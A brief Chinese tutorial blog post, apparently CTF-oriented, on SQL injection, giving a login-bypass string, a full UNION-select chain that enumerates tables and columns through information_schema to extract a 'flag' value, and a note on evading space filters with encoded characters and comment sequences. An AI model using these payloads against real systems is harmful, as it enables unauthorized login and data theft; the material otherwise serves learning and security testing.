渗透测试 --SQL注入

2023-11-17 21:24:03 浏览数 (2)

SQL注入

万能密码

代码语言:javascript复制
'or 1 = 1 #

联合查询注入

代码语言:javascript复制
# 获取返回的字段位置

'union select 1,2,3------ #    --查看回显确定

# 获取当前数据库名字,以第二个为回显为例

'union  select  1,database(),3; # --回显'web2'

# 查看数据库中的表名

'union select 1,table_name,3 from information_schema.tables where table_schema =database(); #    --回显flag,user

# 查看flag表中的列名

'union  select  1,column_name,3  from information_schema.columns where table_name ='flag';#    --回显flag

# 拿到flag

'union select 1,flag,3 from flag;#

PS:

mysqlinformation_schema库中记录了其它数据库的结构

tables记录了数据表和数据库的关系 ​ columns记录了数据表和列的关系

database():输出当前数据库名

group_concat():可将多行数据查询结果返回为一行字符串

代码语言:javascript复制
select * from 表对象 where [条件]

知道数据库名称:web2

如何获得web2的所有数据表?

代码语言:javascript复制
select table_name from information_schema.tables where table_schema =database();

突破字符替换

为了防御sql注入,有的开发者直接简单、暴力的将selectfrom等关键字替换或匹配拦截

  1. 只过滤了空格:

%a(均为url编码,在特定字符集才能利用)和/**/组合、括号等

文章目录

  • SQL注入
    • 万能密码
    • 联合查询注入
    • 突破字符替换
      • 1. 只过滤了空格:

#SQL注入 #渗透测试 #WEB安全

版权属于:瞳瞳too

本文链接:https://cloud.tencent.com/developer/article/2360139

本站未注明转载的文章均为原创,并采用 CC BY-NC-SA 4.0 授权协议,转载请注明来源,谢谢!

0 人点赞